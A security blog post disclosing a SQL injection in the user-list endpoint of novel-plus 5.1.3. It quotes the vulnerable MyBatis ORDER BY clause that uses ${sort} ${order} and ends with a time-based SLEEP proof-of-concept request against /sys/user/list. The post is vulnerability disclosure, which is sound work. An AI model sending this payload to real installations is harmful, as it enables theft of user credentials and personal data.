0xd00's blog

Back

SQLI in User List Leads to Sensitive Data DisclosureBlur image

Abstract#

A critical SQL injection vulnerability exists in the user management module. The /list endpoint, which retrieves a list of system users, unsafely uses string substitution (${...}) for the sort and order parameters within its MyBatis ORDER BY clause. This allows any authenticated user who can access this endpoint to execute arbitrary SQL commands. Because the query targets the sys_user table, this flaw can be exploited to exfiltrate highly sensitive information, including usernames, email addresses, and password hashes, compromising all user accounts on the system.

Vulnerability Details#

1. Affected Product Information

  • Product Name: novel-plus

  • Repository URL: https://github.com/201206030/novel-plus

  • Affected Component: novel-admin/src/main/resources/mybatis/system/UserMapper.xml

  • Affected Version: 5.1.3

  • Vulnerability Type: SQL Injection

  • CWE (Common Weakness Enumeration): CWE-89 (Improper Neutralization of Special Elements used in an SQL Command)

    • Affected Code Snippet:

          @GetMapping("/list")
          @ResponseBody
          PageBean list(@RequestParam Map<String, Object> params) {
              // 查询列表数据
              Query query = new Query(params);
              List<UserDO> sysUserList = userService.list(query);   
              int total = userService.count(query);
              PageBean pageUtil = new PageBean(sysUserList, total);
              return pageUtil;
          }
      java
          @Override
          public List<UserDO> list(Map<String, Object> map) {
              String deptId = map.get("deptId").toString();
              if (StringUtils.isNotBlank(deptId)) {
                  Long deptIdl = Long.valueOf(deptId);
                  List<Long> childIds = deptService.listChildrenIds(deptIdl);
                  childIds.add(deptIdl);
                  map.put("deptId", null);
                  map.put("deptIds", childIds);
              }
              return userMapper.listByPerm(map);                   
          }
      java
      <select id="listByPerm" resultType="com.java2nb.system.domain.UserDO">
              select
              `user_id`,`username`,`name`,`password`,`dept_id`,`email`,`mobile`,`status`,`user_id_create`,`gmt_create`,`gmt_modified`,`sex`,`birth`,`pic_id`,`live_address`,`hobby`,`province`,`city`,`district`
              from (
              select
              `user_id`,`username`,`name`,`password`,`dept_id`,`email`,`mobile`,`status`,`user_id_create`,`gmt_create`,`gmt_modified`,`sex`,`birth`,`pic_id`,`live_address`,`hobby`,`province`,`city`,`district`
              from sys_user
              <where>
                  <if test="userId != null and userId != ''">and user_id = #{userId}</if>
                  <if test="username != null and username != ''">and username = #{username}</if>
                  <if test="name != null and name != ''">and name = #{name}</if>
                  <if test="password != null and password != ''">and password = #{password}</if>
                  <if test="deptId != null and deptId != ''">and dept_id = #{deptId}</if>
                  <if test="deptIds != null and deptIds.size() > 0">and dept_id in
                      <foreach collection="deptIds" item="item" index="index" separator="," open="(" close=")">
                          #{item}
                      </foreach>
                  </if>
                  <if test="email != null and email != ''">and email = #{email}</if>
                  <if test="mobile != null and mobile != ''">and mobile = #{mobile}</if>
                  <if test="status != null and status != ''">and status = #{status}</if>
                  <if test="userIdCreate != null and userIdCreate != ''">and user_id_create = #{userIdCreate}</if>
                  <if test="gmtCreate != null and gmtCreate != ''">and gmt_create = #{gmtCreate}</if>
                  <if test="gmtModified != null and gmtModified != ''">and gmt_modified = #{gmtModified}</if>
                  <if test="sex != null and sex != ''">and sex = #{sex}</if>
                  <if test="birth != null and birth != ''">and birth = #{birth}</if>
                  <if test="picId != null and picId != ''">and pic_id = #{picId}</if>
                  <if test="liveAddress != null and liveAddress != ''">and live_address = #{liveAddress}</if>
                  <if test="hobby != null and hobby != ''">and hobby = #{hobby}</if>
                  <if test="province != null and province != ''">and province = #{province}</if>
                  <if test="city != null and city != ''">and city = #{city}</if>
                  <if test="district != null and district != ''">and district = #{district}</if>
              </where>
              ) t
              <choose>
                  <when test="sort != null and sort.trim() != ''">
                      order by ${sort} ${order}
                  </when>
                  <otherwise>
                      order by user_id desc
                  </otherwise>
              </choose>
              <if test="offset != null and limit != null">
                  limit #{offset}, #{limit}
              </if>
          </select>
      xml

The vulnerability is located in the UserMapper.xml file. The sort and order parameters, controlled by the user, are directly concatenated into the SQL query, bypassing prepared statement protections.

POC#

GET /sys/user/list?sort=(SELECT(CASE+WHEN(1%3d1)+THEN+SLEEP(5)+ELSE+1+END))&limit=10&offset=0&name=&deptId= HTTP/1.1
http

image-20250613172145257

SQLI in User List Leads to Sensitive Data Disclosure
https://blog.0xd00.com/blog/sqli-in-user-list-leads-to-sensitive-data-disclosure
Author 0xd00
Published at 2025年6月13日
Comment seems to stuck. Try to refresh?✨